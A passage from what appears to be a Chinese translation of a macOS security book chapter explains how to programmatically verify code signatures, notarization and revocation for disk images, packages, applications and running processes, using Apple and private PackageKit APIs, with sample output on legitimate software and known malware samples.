  ❷ OSStatus status = SecStaticCodeCreateWithPath(itemURL, kSecCSDefaultFlags, &codeRef);
  ❸ if(errSecSuccess != status) {
        goto bail;
    }
    ...

bail:
    if(nil != codeRef) {
        CFRelease(codeRef);
    }
    return signingInfo;
} 

Listing 3-1:获取磁盘映像的静态代码对象

在初始化包含我们要检查的磁盘映像路径的 URL 对象 ❶ 后,我们调用 SecStaticCodeCreateWithPath API ❷。如果此函数失败,它将返回非零值 ❸。如果 Sec* API 成功,它们返回零,映射到首选的 errSecSuccess 常量。我在《代码签名错误代码》一节中讨论了 Sec* API 可能返回的错误代码,详见 第 97 页。这些代码也在苹果的《代码签名服务结果代码》文档中有详细说明。^(10) 另外,注意,当我们完成代码引用后,必须通过 CFRelease 来释放它。

在这段代码和随后的代码片段中,你会看到使用了桥接,这是一种将 Objective-C 对象无缝转换为(或从)Apple 代码签名 API 使用的 Core Foundation 对象的机制。例如,在 Listing 3-1 中,SecStaticCodeCreateWithPath API 期望其第一个参数是 CFURLRef 类型。在将磁盘映像的路径转换为 NSURL 对象之后,我们使用(__bridge CFURLRef)将其桥接为 CFURLRef。你可以在 Apple 的“Core Foundation 设计概念”中了解更多关于桥接的内容。^(11)

一旦我们为磁盘映像创建了一个静态代码对象,就可以调用 SecStaticCodeCheckValidity API,使用刚创建的 SecStaticCode 对象来检查其有效性,并保存调用结果以便返回给调用者(Listing 3-2)。

...
#define KEY_SIGNATURE_STATUS @"signatureStatus"

status = SecStaticCodeCheckValidity(codeRef, kSecCSEnforceRevocationChecks, NULL);
signingInfo[KEY_SIGNATURE_STATUS] = [NSNumber numberWithInt:status];
if(errSecSuccess != status) {
    goto bail;
} 

Listing 3-2: 检查磁盘映像的代码签名有效性

通常,你会看到这个 API 调用时使用 kSecCSDefaultFlags 常量,该常量包含默认的标志集,但为了在验证过程中执行证书撤销检查,你需要传递 kSecCSEnforceRevocationChecks。

接下来,我们检查调用是否成功。如果我们未能执行此验证,恶意代码可能会绕过代码签名检查。^(12) 如果 API 失败,例如,返回 errSecCSUnsigned 错误,你可能希望中止提取任何进一步的代码签名信息,因为它要么不存在(在未签名的情况下),要么不可信。

一旦我们确定了磁盘映像的代码签名状态的有效性,就可以通过 SecCodeCopySigningInformation API 提取其代码签名信息。我们将 SecStaticCode 对象、kSecCSSigningInformation 标志以及一个输出指针传递给此 API,用于填充磁盘映像的代码签名详细信息(Listing 3-3)。

CFDictionaryRef signingDetails = NULL;

status = SecCodeCopySigningInformation(codeRef,
kSecCSSigningInformation, &signingDetails);
if(errSecSuccess != status) {
    goto bail;
} 

Listing 3-3: 提取代码签名信息

现在,我们可以从字典中提取存储的详细信息,例如证书授权链,使用键 kSecCodeInfoCertificates(Listing 3-4)。

#define KEY_SIGNING_AUTHORITIES @"signatureAuthorities"

signingInfo[KEY_SIGNING_AUTHORITIES] = ((__bridge NSDictionary*)signingDetails)
[(__bridge NSString*)kSecCodeInfoCertificates]; 

Listing 3-4: 提取证书授权链

如果该项具有临时签名,它的代码签名字典中就不会在 kSecCodeInfoCertificates 键下有条目。识别临时签名的另一种方法是检查 kSecCodeInfoFlags 键,该键包含该项的代码签名标志。对于临时签名,我们会在标志中发现第二个最低有效位(2)被设置,经过查阅 Apple 的cs_blobs.h头文件后,我们看到它对应于常量 CS_ADHOC。

很少看到以临时方式签名的磁盘映像,因为它们本身不需要签名,但由于应用程序和二进制文件必须签名才能运行,因此你常常会看到恶意软件以这种方式签名。我们可以按照 Listing 3-5 中显示的方式提取代码签名标志。

#define KEY_SIGNING_FLAGS @"flags"

signingInfo[KEY_SIGNING_FLAGS] = [(__bridge NSDictionary*)signingDetails
objectForKey:(__bridge NSString*)kSecCodeInfoFlags]; 

Listing 3-5: 提取项目的代码签名标志

然后我们可以检查这些提取的标志,查看是否有指示临时签名的值(列表 3-6)。

if([results[KEY_SIGNING_FLAGS] intValue] & CS_ADHOC) {
    // Code here will run only if item is signed in an ad hoc manner.
} 

列表 3-6:验证代码签名标志

字典将这些标志存储在一个数字对象中,因此我们必须首先将其转换为整数,然后执行按位与操作(&)来检查由 CS_ADHOC 指定的位。

当我们完成 CFDictionaryRef 字典的使用后,必须通过 CFRelease 释放它。

提取公证信息

为了提取磁盘映像的公证状态,我们可以使用 SecRequirementCreateWithString API,该 API 允许我们创建一个要求,项目必须符合该要求。在列表 3-7 中,我们使用字符串“notarized”创建了一个要求。

static SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(CFSTR("notarized"), kSecCSDefaultFlags, &requirement); 

列表 3-7:初始化要求引用字符串

API 通过编译我们传递给它的代码要求字符串生成一个对象,使我们能够多次使用该要求。^(13) 如果你只进行一次要求检查,可以跳过编译步骤,改用 SecTaskValidateForRequirement API,该 API 将字符串形式的要求作为第二个参数进行验证。

现在我们可以调用 SecStaticCodeCheckValidity API,传递给它 SecStaticCode 对象,以及要求引用(列表 3-8)。

if(errSecSuccess == SecStaticCodeCheckValidity(codeRef, kSecCSDefaultFlags, requirement)) {
    // Code placed here will run only if the item is notarized.
} 

列表 3-8:检查公证要求

如果 API 返回 errSecSuccess,我们就知道该项目符合我们传入的要求。在我们的例子中,这意味着磁盘映像确实已进行公证。你可以在苹果的《代码签名要求语言》文档中阅读更多关于要求的内容,包括有用的要求字符串。^(14)

如果公证验证失败,我们应该检查苹果是否已撤销该项目的公证票据,即使该项目已有效签名。这个细致的情况提出了一个巨大的警示;例如,请参见“磁盘应用程序和可执行文件”中关于 3CX 供应链攻击的讨论,详见第 93 页。

尽管我已经要求过了,^(15) 苹果并未批准任何确定项目的公证票据是否已被撤销的方法。然而,有两个未公开的 API,SecAssessmentCreate 和 SecAssessmentTicketLookup,可以提供这些信息。在列表 3-9 中,我们调用 SecAssessmentCreate 来检查一个已通过其他代码签名检查的项目是否已被撤销其公证票据。

❶ SecAssessmentRef secAssessment = SecAssessmentCreate(itemURL,
kSecAssessmentDefaultFlags, (__bridge CFDictionaryRef)(@{}), &error);
❷ if(NULL == secAssessment) {
    if((CSSMERR_TP_CERT_REVOKED == CFErrorGetCode(error)) ||
        (errSecCSRevokedNotarization == CFErrorGetCode(error))) {
        signingInfo[KEY_SIGNING_NOTARIZED] =
        [NSNumber numberWithInteger:errSecCSRevokedNotarization];
    }
}
❸ if(NULL != secAssessment) {
    CFRelease(secAssessment);
} 

列表 3-9:检查公证票据是否已被撤销

我们将路径传递给该函数,路径指向项目(如磁盘映像);默认评估标志;一个空的但非 NULL 的字典;以及指向错误变量的输出指针 ❶。

如果 Apple 撤销了公证票证或证书,函数将设置错误为 CSSMERR_TP_CERT_REVOKED 或 errSecCSRevokedNotarization。第一个错误的名称有些微妙,因为它可以返回有效证书但已撤销公证票证的项目,而这正是我们在此关心的内容。

如果我们收到 NULL 评估结果并且出现以下错误代码❷,我们知道某些内容已被撤销。此外,由于我们已经验证了代码签名证书,我们知道撤销指的是公证票证。一旦评估完成,如果评估结果不是 NULL ❸,我们会确保释放它。#### 运行工具

让我们编译checkSignature项目,并针对本节前面提到的磁盘映像运行它:

% **./checkSignature LuLu_2.6.0.dmg**
Checking: LuLu_2.6.0.dmg
Status: signed
Is notarized: no

Signing auths: (
    "<cert(0x11100a800) s: Developer ID Application: Objective-See, LLC (VBG97UB4TA)
    i: Developer ID Certification Authority>",
    "<cert(0x111808200) s: Developer ID Certification Authority i: Apple Root CA>",
    "<cert(0x111808a00) s: Apple Root CA i: Apple Root CA>"
) 

正如预期的那样,代码报告 LuLu 的磁盘映像已签名,但未经过公证。代码还提取了其代码签名的证书链,包括其开发者 ID 应用程序和开发者 ID 证书颁发机构。(在检测恶意软件时,除非你对检测供应链攻击感兴趣,否则可能希望忽略通过受信任开发者 ID 签名的磁盘映像。)

现在让我们对 EvilQuest 恶意软件运行代码。正如你所见,代码与 Apple 的 codesign 工具的结果一致,表明磁盘映像未签名:

% **./checkSignature "EvilQuest/Mixed In Key 8.dmg"**
Checking: Mixed In Key 8.dmg
Status: unsigned 

最后,我们对 CreativeUpdate 恶意软件运行代码,其代码签名证书已被撤销:

% **./checkSignature "CreativeUpdate/Firefox 58.0.2.dmg"**
Checking: Firefox 58.0.2.dmg
Status: revoked 

现在我们可以通过编程方式从磁盘映像中提取和验证代码签名信息,接下来让我们对包进行相同的操作,尽管这需要完全不同的方法。

你可以使用内置的 pkgutil 工具手动验证包(.pkg)的签名。使用--check-signature 命令行选项执行该工具,然后指定你想验证的.pkg文件路径。该工具应在以“Status:”为前缀的行中显示检查结果:

% **pkgutil --check-signature GoogleChrome.pkg**
Package "GoogleChrome.pkg":
   Status: signed by a developer certificate issued by Apple for distribution
   Notarization: trusted by the Apple notary service
   Signed with a trusted timestamp on: 05-15 20:46:50 +0000
   Certificate Chain:
    1\. Developer ID Installer: Google LLC (EQHXZ8M8AV)
       Expires: 2027-02-01 22:12:15 +0000
       SHA256 Fingerprint:
           40 02 6A 12 12 38 F4 E0 3F 7B CE 86 FA 5A 22 2B DA 7A 3A 20 70 FF
           28 0D 86 AA 4E 02 56 C5 B2 B4
       -----------------------------------------------------------------------
    2\. Developer ID Certification Authority
       Expires: 2027-02-01 22:12:15 +0000
       SHA256 Fingerprint:
           7A FC 9D 01 A6 2F 03 A2 DE 96 37 93 6D 4A FE 68 09 0D 2D E1 8D 03
           F2 9C 88 CF B0 B1 BA 63 58 7F
       -----------------------------------------------------------------------
    3\. Apple Root CA
       Expires: 2035-02-09 21:40:36 +0000
       SHA256 Fingerprint:
           B0 B1 73 0E CB C7 FF 45 05 14 2C 49 F1 29 5E 6E DA 6B CA ED 7E 2C
           68 C5 BE 91 B5 A1 10 01 F0 24 

结果显示,pkgutil 已经验证该包(一个 Google Chrome 安装程序)已签名并经过公证。该工具还显示了证书颁发机构链,表明该包是通过属于 Google 的 Apple Developer ID 进行签名的。

请注意,你不能使用 codesign 工具来检查包的代码签名,因为.pkg文件使用与 codesign 无法理解的不同机制存储代码签名信息。例如,当针对同一包运行时,它检测不到签名:

% **codesign –-verify -dvv GoogleChrome.pkg**
GoogleChrome.pkg: code object is not signed at all 

如果一个包没有签名,pkgutil 将显示“Status: no signature”消息。大多数通过包分发的恶意软件,包括 EvilQuest,都属于这一类。这些磁盘映像包含一个恶意包,一旦磁盘映像被挂载,我们可以使用 pkgutil 显示该包未签名:

% **pkgutil --check-signature "EvilQuest/Mixed In Key 8.pkg"**
Package "Mixed In Key 8.pkg":
   Status: no signature 

最后,如果一个包已签名,但苹果撤销了它的代码签名证书,pkgutil 将显示状态:撤销的签名,但仍然会显示证书链。我们在一个用于分发 KeySteal 恶意软件的包中发现了这种行为的例子:

% **pkgutil --check-signature KeySteal/archive.pkg**
Package "archive.pkg":
   Status: revoked signature
   Signed with a trusted timestamp on: 10-18 12:58:45 +0000
   Certificate Chain:
    1\. Developer ID Installer: fenghua he (32W7BZNTSV)
       Expires: 2027-02-01 22:12:15 +0000
       SHA256 Fingerprint:
           EC 7C 85 1D B0 A0 8C ED 45 31 6B 8E 9D 7D 34 0F 45 B8 4E CE 9D 9C
           97 DB 2F 63 57 C2 D9 71 0C 4E
       -----------------------------------------------------------------------
    2\. Developer ID Certification Authority
       Expires: 2027-02-01 22:12:15 +0000
       SHA256 Fingerprint:
           7A FC 9D 01 A6 2F 03 A2 DE 96 37 93 6D 4A FE 68 09 0D 2D E1 8D 03
           F2 9C 88 CF B0 B1 BA 63 58 7F
       -----------------------------------------------------------------------
    3\. Apple Root CA
       Expires: 2035-02-09 21:40:36 +0000
       SHA256 Fingerprint:
           B0 B1 73 0E CB C7 FF 45 05 14 2C 49 F1 29 5E 6E DA 6B CA ED 7E 2C
           68 C5 BE 91 B5 A1 10 01 F0 24 

苹果已撤销签名。此外,被撤销的代码签名标识符 fenghua he (32W7BZNTSV) 可能帮助你找到其他由同一恶意软件作者签署的恶意软件。

反向工程 pkgutil

现在,你可能会想知道如何以编程方式检查包的签名。这是一个很好的问题,因为目前没有公开的 API 用于验证包!谢谢你,库比提诺。

幸运的是,对 pkgutil 二进制文件进行快速的反向工程分析,可以揭示它如何检查包的签名。首先,我们可以看到 pkgutil 链接了私有的 PackageKit 框架:

% **otool -L /usr/sbin/pkgutil**
/usr/sbin/pkgutil:
...
/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/PackageKit
... 

这个框架的名字表明它可能包含相关的 API。通常,它位于 /System/Library/PrivateFrameworks/ 目录中,且在最近版本的 macOS 中存在于共享的 dyld 缓存 中,dyld 缓存是一个预先链接的共享文件,包含常用的库。^(16) 它的名字和位置取决于 macOS 的版本和系统架构,但可能类似于 dyld_shared_cache_arm64e/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/

我们必须先从 dyld 缓存中提取 PackageKit 框架,然后才能对其进行反向工程。像 Hopper 这样的工具,如 图 3-2 所示,可以从缓存中提取框架。

图 3-2:从 dyld 缓存中提取 PackageKit 框架

如果你更倾向于使用命令行工具来提取库,一个不错的选择是 dyld-shared-cache-extractor。^(17) 安装此工具后,你可以通过指定 dyld 缓存路径和输出目录来执行它,这里我们指定输出目录为 /tmp/libraries

% **dyld-shared-cache-extractor /System/Volumes/Preboot/Cryptexes/OS/System/**
**Library/dyld/dyld_shared_cache_arm64e /tmp/libraries** 

一旦工具从缓存中提取了所有库,你会在 /tmp/libraries/System/Library/Private Frameworks/PackageKit.framework 找到 PackageKit 框架。

现在我们可以将框架加载到反汇编器中,以深入了解其 API 和内部结构。例如,我们发现了一个名为 PKArchive 的类,它包含了一些有用的方法,如 archiveWithPath: 和 verifyReturningError: 等:

@interface PKArchive : NSObject
    +(id)archiveWithPath:(id)arg1;
    +(id)_allArchiveClasses;
    -(BOOL)closeArchive;
    -(BOOL)fileExistsAtPath:(id)arg1;
    -(BOOL)verifyReturningError:(id*)arg1;
    ...
@end 

我不会在这里详细介绍反向工程 PackageKit 框架的全过程,但你可以在线了解更多相关过程。^(18) 你也可以在我的 What’s Your Sign 工具的 Package.h/Package.m 文件中找到完整的包验证源代码。^(19)

访问框架函数

要在我们的checkSignature项目中使用已发现的方法,我们需要一个包含PackageKit框架的私有类定义的头文件。这将允许我们直接从代码中调用它们。过去,像 class-dump 这样的工具可以轻松地创建此类头文件,^(20) 但这种方法与较新的 Apple Silicon 二进制文件不完全兼容。相反,你可以通过反汇编器或使用 otool 手动提取这些类定义。列表 3-10 展示了提取的定义。

@interface PKArchive : NSObject
    +(id)archiveWithPath:(id)arg1;
    +(id)_allArchiveClasses;
    -(BOOL)closeArchive;
    -(BOOL)fileExistsAtPath:(id)arg1;
    -(BOOL)verifyReturningError:(id*)arg1;
    ...

    @property(readonly) NSString* archiveDigest;
    @property(readonly) NSString* archivePath;
    @property(readonly) NSDate* archiveSignatureDate;
    @property(readonly) NSArray* archiveSignatures;
@end

@interface PKArchiveSignature : NSObject
{
    struct __SecTrust* _verifyTrustRef;
}

    -(struct __SecTrust*)verificationTrustRef;
    -(BOOL)verifySignedDataReturningError:(id *)arg1;
    -(BOOL)verifySignedData;
    ...

    @property(readonly) NSString* algorithmType;
    @property(readonly) NSArray* certificateRefs;
@end
... 

列表 3-10:PackageKit 框架的提取类和方法定义

现在我们可以编写代码来使用这些类,调用它们的方法以编程方式验证我们选择的包。我们将在一个名为 checkPackage 的函数中完成这一过程。它的唯一参数是需要验证的包的路径,并返回一个包含验证结果的字典,以及其他代码签名信息,如包的代码签名权限。该函数首先加载所需的PackageKit框架(列表 3-11)。

#define PACKAGE_KIT @"/System/Library/PrivateFrameworks/PackageKit.framework" ❶

NSMutableDictionary* checkPackage(NSString* package) {
    NSBundle* packageKit = [NSBundle bundleWithPath:PACKAGE_KIT]; ❷
    [packageKit load];

    ...
} 

列表 3-11:加载 PackageKit 框架

首先,我们定义PackageKit框架的路径 ❶。然后,我们使用 NSBundle 类的 bundleWithPath: 和 load 方法加载框架,以便我们可以动态解析和调用该框架的方法 ❷。

由于其自省特性,Objective-C 编程语言使得使用私有类并调用私有方法变得容易。要访问私有类,可以使用 NSClassFromString 函数。例如,列表 3-12 展示了如何动态地获取 PKArchive 类的类对象。

Class PKArchiveCls = NSClassFromString(@"PKArchive");

列表 3-12:获取 PKArchive 类对象

通过逆向工程 pkgutil,发现它通过使用 PKArchive 类的 archiveWithPath: 方法来实例化一个归档对象(PKXARArchive),并传入要验证的包的路径。在列表 3-13 中,我们的代码执行了相同的操作。

PKXARArchive* archive = [PKArchiveCls archiveWithPath:package];

列表 3-13:实例化归档对象

在处理像 PKArchive 这样的私有类时,请注意,在调用其方法之前调用 respondsToSelector: 方法是明智的。respondsToSelector: 方法将返回一个布尔值,告诉你是否可以安全地在类或类实例上调用该方法。^(21) 如果跳过此步骤且对象未响应某个方法,程序将因发送未识别的选择器给类而崩溃。

以下代码检查确保 PKArchive 类实现了 archiveWithPath: 方法(列表 3-14)。

if(YES != [PKArchiveCls respondsToSelector:@selector(archiveWithPath:)]) {
    goto bail;
} 

列表 3-14:检查方法

现在我们准备进行一些基本的包验证。 #### 验证包

同样,我们通过使用 PKXARArchive 类的 verifyReturningError: 方法(列表 3-15)来模仿 pkgutil。

NSError* error = nil;
if(YES != [archive verifyReturningError:&error]) {
    goto bail;
} 

列表 3-15:执行基本的包验证

一旦软件包通过了基本的验证检查,我们可以检查它的签名,该签名位于归档文件的 archiveSignatures 实例变量中。这个变量是一个数组,包含指向 PKArchiveSignature 对象的指针。一个签名的软件包至少会有一个签名(列表 3-16)。

❶ NSArray* signatures = archive.archiveSignatures;
if(0 == signatures.count) {
    goto bail;
}

PKArchiveSignature* signature = signatures.firstObject;
❷ if(YES != [signature verifySignedDataReturningError:&error]) {
    goto bail;
} 

列表 3-16:验证软件包的叶子签名

在确保软件包至少有一个签名 ❶ 后,我们验证第一个或 叶子 签名,使用 PKArchiveSignature 类的 verifySignedDataReturningError: 方法 ❷。此外,我们还会评估该签名的信任度(列表 3-17)。

Class PKTrustCls = NSClassFromString(@"PKTrust");

struct __SecTrust* trustRef = [signature verificationTrustRef];

❶ PKTrust* pkTrust = [[PKTrustCls alloc] initWithSecTrust:trustRef
usingAppleRoot:YES signatureDate:archive.archiveSignatureDate];

❷ if(YES != [pkTrust evaluateTrustReturningError:&error]) {
    goto bail;
} 

列表 3-17:评估签名的信任度

我们使用签名实例化一个 PKTrust 对象 ❶,然后调用 PKTrust 类的 evaluateTrustReturningError: 方法 ❷。如果 verificationTrustRef 返回 nil,我们可以通过使用 PKTrust 类的 initWithCertificates:usingAppleRoot:signatureDate: 方法来验证软件包的证书。有关更多详细信息,请参阅本章的 checkSignature 项目代码。如果签名和签名信任验证通过,我们就有一个有效的签名软件包。

你还可以提取签名的证书,这样就能执行一些操作,比如检查每个签署机构的名称。你可以通过 PKArchiveSignature 对象的 certificateRefs 实例变量访问这些证书,它是一个 SecCertificateRef 对象数组,并可以使用 SecCertificate* API 提取它们的信息。

检查软件包公证

本节的最后,我将展示如何判断 Apple 是否已公证一个软件包。回想一下,pkgutil 利用了私有的 PackageKit 框架来验证软件包。然而,逆向工程表明,软件包公证检查并未在该框架中的其他检查一起实现,而是直接在 pkgutil 可执行文件中实现。

要检查一个软件包的公证状态,pkgutil 会调用 SecAssessmentTicketLookup API。虽然这个 API 没有文档说明,但我们可以在 Apple 的 SecAssessment.h 头文件中找到它的声明。列表 3-18 模拟了 pkgutil 的方法。给定一个经过验证的 PKArchiveSignature 对象,它会判断该软件包是否已通过公证。

#import <CommonCrypto/CommonDigest.h>

typedef uint64_t SecAssessmentTicketFlags;
enum {
    kSecAssessmentTicketFlagDefault = 0,
    kSecAssessmentTicketFlagForceOnlineCheck = 1 << 0,
    kSecAssessmentTicketFlagLegacyListCheck = 1 << 1,
};

Boolean SecAssessmentTicketLookup(CFDataRef hash, SecCSDigestAlgorithm
hashType, SecAssessmentTicketFlags flags, double* date, CFErrorRef* errors);

BOOL isPackageNotarized(PKArchiveSignature* signature) {
    CFErrorRef error = NULL;
    BOOL isItemNotarized = NO;
    double notarizationDate = 0;

    SecCSDigestAlgorithm hashType = kSecCodeSignatureHashSHA1;

  ❶ NSData* hash = [signature signedDataReturningAlgorithm:0x0];
    if(CC_SHA1_DIGEST_LENGTH == hash.length) {
        hashType = kSecCodeSignatureHashSHA1;
    } else if(CC_SHA256_DIGEST_LENGTH == hash.length) {
        hashType = kSecCodeSignatureHashSHA256;
    }

  ❷ if(YES == SecAssessmentTicketLookup((__bridge CFDataRef)(hash), hashType,
    kSecAssessmentTicketFlagDefault, &notarizationDate, &error)) {
        isItemNotarized = YES;
  ❸} else if(YES == SecAssessmentTicketLookup((__bridge CFDataRef)(hash),
    hashType, kSecAssessmentTicketFlagForceOnlineCheck, &notarizationDate,
    &error)) {
        isItemNotarized = YES;
 }

    return isItemNotarized;
} 

列表 3-18:软件包公证检查

我们声明了多个变量,其中大多数将在 SecAssessmentTicketLookup API 调用中使用。然后我们调用签名的 signedDataReturningAlgorithm: 方法,该方法返回一个包含哈希值的 data 对象 ❶。

接下来,我们第一次调用 SecAssessmentTicketLookup ❷,传入哈希值和哈希类型,哈希类型可以是 SHA-1 或 SHA-256,分别由 kSecCodeSignatureHashSHA1 和 kSecCodeSignatureHashSHA256 常量表示。我们还传入评估标志和一个输出指针,如果软件包已通过公证,该指针将接收到公证日期。最后一个参数是一个可选的输出指针,指向错误变量。

模拟 pkgutil 二进制文件,我们首先使用设置为 kSecAssessmentTicketFlagDefault 的评估标志调用 API。如果此调用未能确定包是否已公证,我们将再次调用该 API,这次设置标志为 kSecAssessmentTicketFlagForceOnlineCheck ❸。你可以在 SecAssessment.h 头文件中找到这些及其他标志值。

如果任一 API 调用返回非零值,则包已公证,且 Apple 公证服务信任它。然而,由于我们模拟了 pkgutil,我们的代码并未指定非公证包是否已撤销其公证票证。通过项目的代码签名哈希和哈希类型,我们可以按照 清单 3-19 所示的方式实现此检查。

CFErrorRef error = NULL;

if(YES != SecAssessmentTicketLookup(hash, hashType,
kSecAssessmentTicketFlagForceOnlineCheck, NULL, &error)) {
    if(EACCES == CFErrorGetCode(error)) {
        // Code placed here will run if the item's notarization ticket has been revoked.
    }
} 

清单 3-19:检查撤销的公证票证

如果项目的公证票证已被撤销,SecAssessmentTicketLookup API 将把其错误变量设置为 EACCES 的值。^(22)

运行工具

让我们运行 checkSignature 工具,检查本章前面提到的包:

% **./checkSignature GoogleChrome.pkg**
Checking: GoogleChrome.pkg

Status: signed
Notarized: yes
Signing authorities (
    "<cert(0x11ee0ac30) s: Developer ID Installer: Google LLC (EQHXZ8M8AV)
    i: Developer ID Certification Authority>",
    "<cert(0x11ee08360) s: Developer ID Certification Authority i: Apple Root CA>",
    "<cert(0x11ee07820) s: Apple Root CA i: Apple Root CA>"
)

% **./checkSignature "EvilQuest/Mixed In Key 8.pkg"**
Checking: Mixed In Key 8.pkg

Status: unsigned

% **./checkSignature KeySteal/archive.pkg**
Checking: archive.pkg

Status: certificate revoked

Signing authorities: (
    "<cert(0x151406100) s: Developer ID Installer: fenghua he (32W7BZNTSV)
    i: Developer ID Certification Authority>",
    "<cert(0x151406380) s: Developer ID Certification Authority i: Apple Root CA>",
    "<cert(0x1514082b0) s: Apple Root CA i: Apple Root CA>"
) 

输出结果与 Apple 的 pkgutil 工具的结果匹配。我们的代码准确地识别出第一个包已正确签名并经过公证;第二个包,包含 EvilQuest 恶意软件,则未签名;最后一个包,包含 KeySteal 恶意软件,则已被撤销。

磁盘上的应用程序和可执行文件

大多数 macOS 恶意软件以应用程序或独立的 Mach-O 二进制文件形式分发。我们可以以与磁盘映像相同的方式,从磁盘上的应用程序包或可执行二进制文件中提取代码签名信息:手动通过 codesign 工具,或通过 Apple 的代码签名服务 API 编程实现。然而,这种情况存在一些重要的不同点。

第一个涉及 SecStaticCodeCheckValidity API,该 API 用于验证项目的签名。当项目不是磁盘映像时,我们必须使用 kSecCSCheckAllArchitectures 标志调用此函数(清单 3-20)。

SecCSFlags flags = kSecCSEnforceRevocationChecks;
if(NSOrderedSame != [item.pathExtension caseInsensitiveCompare:@"dmg"]) {
    flags |= kSecCSCheckAllArchitectures;
}
status = SecStaticCodeCheckValidity(staticCode, flags, NULL);
... 

清单 3-20:检查项目的签名

此标志处理多架构项目,如通用二进制文件,这些文件可能包含多个嵌入的 Mach-O 二进制文件,可能具有不同的代码签名者。有关攻击者利用通用二进制文件绕过不充分的代码签名检查的实际示例,请参见 CVE-2021-30773。^(23) 此标志值还强制执行撤销检查,因为它包含了 kSecCSEnforceRevocationChecks 的值。

在本章前面,我向你展示了如何检查指定项目是否符合某些要求,例如是否进行了公证。你可能还想检查其他要求,比如项目是否由苹果公司正式签名(anchor apple要求),或者是否由苹果公司和第三方开发者 ID 共同签名(anchor apple generic要求)。在这些情况下,你的代码可以调用 SecRequirementCreateWithString 函数,传入你希望检查的要求,然后将该要求传递给 SecStaticCodeCheckValidity API。为了考虑到通用二进制文件,可以使用包含 kSecCSCheckAllArchitectures 标志值的函数调用。

你还应该调用 SecAssessmentCreate API,以处理那些拥有有效签名但已撤销公证票据的项目。以与应用程序相关的实际示例来说明这一情况,请参见之前提到的 3CX 供应链攻击。在此次攻击中,朝鲜黑客入侵了 3CX 公司的网络和构建服务器,通过恶意软件篡改了 3CX 应用程序,并用 3CX 代码签名证书签名,接着诱使苹果公司进行公证。苹果公司不愿撤销 3CX 的代码签名证书,因为那样会导致许多其他合法的 3CX 应用程序无法运行,最终只是撤销了被篡改应用程序的公证票据。

让我们对合法应用程序以及恶意软件运行checkSignature项目,包括 3CX 样本:

% **./checkSignature /Applications/LuLu.app**
Checking: LuLu.app

Status: signed
Notarized: yes
Signing authorities: : (
    "<cert(0x13b814800) s: Developer ID Application: Objective-See, LLC (VBG97UB4TA)
    i: Developer ID Certification Authority>",
    "<cert(0x13b81c800) s: Developer ID Certification Authority i: Apple Root CA>",
    "<cert(0x13b81d000) s: Apple Root CA i: Apple Root CA>"
)

% **./checkSignature WindTail/Final_Presentation.app**
Checking: Final_Presentation.app

Status: certificate revoked

% **./checkSignature "SmoothOperator/3CX Desktop App.app"**
Checking: 3CX Desktop App.app

Status: signed
Notarized: revoked

% ./**checkSignature MacMa/client**
Checking: client

Status: unsigned 

我们首先检查 Objective-See 签名和公证过的 LuLu 应用程序,然后是一个带有撤销证书的 WindTail 恶意软件样本。接下来,我们测试一个被木马化的 3CX 应用程序实例;我们的代码正确检测到它的公证状态已被撤销。最后,我们演示 MacMa 恶意软件是未签名的。

运行中的进程

到目前为止,我们通过获取静态代码对象引用检查了磁盘上的项目。在这一部分,我们将通过使用动态代码对象引用(SecCodeRef)来检查正在运行进程的代码签名信息。

在适用的情况下,你应该使用动态代码对象引用,原因有两个。第一个是效率;操作系统已经为动态实例的项目验证了大部分代码签名信息,以确保符合运行时要求。对我们而言,这意味着我们可以避免与静态代码检查相关的昂贵文件 I/O 操作,并跳过某些计算。

动态代码引用优于静态代码引用的另一个原因与项目的磁盘图像和内存图像之间可能的差异有关。例如,恶意软件几乎不受任何限制地将其磁盘上项目的代码签名信息更改为无害值。(当然,这种异常行为本身就应该引发一个巨大的警告。)另一方面,正在运行的项目不能更改其动态代码签名信息。

要检查一个正在运行的进程是否已签名并提取其代码签名信息,首先我们必须通过 SecCodeCopyGuestWithAttributes API 获取一个代码引用。通过进程的 ID 调用它,或者更安全的做法是通过进程的审计令牌(Listing 3-21)。

SecCodeRef dynamicCode = NULL;

NSData* data = [NSData dataWithBytes:token length:sizeof(audit_token_t)]; ❶
NSDictionary* attributes = @{(__bridge NSString*)kSecGuestAttributeAudit:data}; ❷

status = SecCodeCopyGuestWithAttributes(NULL,
(__bridge CFDictionaryRef _Nullable)(attributes), kSecCSDefaultFlags, &dynamicCode); ❸
if(errSecSuccess != status) {
    goto bail;
} 

Listing 3-21: 通过进程的审计令牌获取代码对象引用

我们首先将审计令牌转换为数据对象 ❶。我们需要进行此转换,以便可以将审计令牌放入字典中,字典的键是字符串 kSecGuestAttributeAudit ❷。然后,我们将此字典传递给 SecCodeCopyGuestWithAttributes API,并附上一个输出指针,用于填充代码对象引用 ❸。

拿到代码对象引用后,您可以使用 SecCodeCheckValidity 或 SecCodeCheckValidityWithErrors 验证进程的代码签名信息。请记住,对于磁盘上的项目,比如通用二进制文件,我们使用 kSecCSCheckAllArchitectures 标志值来验证所有嵌入的 Mach-O 文件;而对于正在运行的进程,动态加载器只会加载并执行一个嵌入的 Mach-O 文件,因此该标志值不相关,也不需要使用。

在提取或操作任何代码签名信息之前,验证进程的代码签名信息至关重要。如果没有进行验证,或者验证失败,您将无法信任这些信息。如果代码签名信息有效,您可以通过之前讨论的 SecCodeCopySigningInformation 函数提取它。

拥有一个进程的代码引用后,您还可以以简单而安全的方式执行其他日常但重要的任务。例如,使用 SecCodeCopyPath API,您可以检索进程的路径(Listing 3-22)。

CFURLRef path = NULL;
SecCodeCopyPath(dynamicCode, kSecCSDefaultFlags, &path); 

Listing 3-22: 从动态代码对象引用中获取进程路径

您还可以使用要求执行特定验证,就像我们在静态代码对象引用中讨论的那样。使用动态代码对象引用时,方法基本相同,唯一不同的是您需要使用 SecCodeCheckValidity API 来执行验证。需要注意的是,当您完成动态代码引用的使用后,应通过 CFRelease 释放它。

由于 macOS 不允许执行任何证书或公证票已被撤销的进程,因此您无需对正在运行的进程进行此检查。

检测误报

在本章开始时,我提到过一些杀毒引擎错误地将苹果的 MRT 组件标记为恶意软件。如果这些引擎考虑到该项的代码签名信息,它们会将 MRT 及其组件识别为仅由苹果签名的 macOS 内置部分,并安全地忽略它。

我将向您展示如何使用本章介绍的 API 执行此类检查。具体来说,您将使用 anchor apple 要求字符串,只有在没有其他人签名该项时,它才会在加密学上为真。

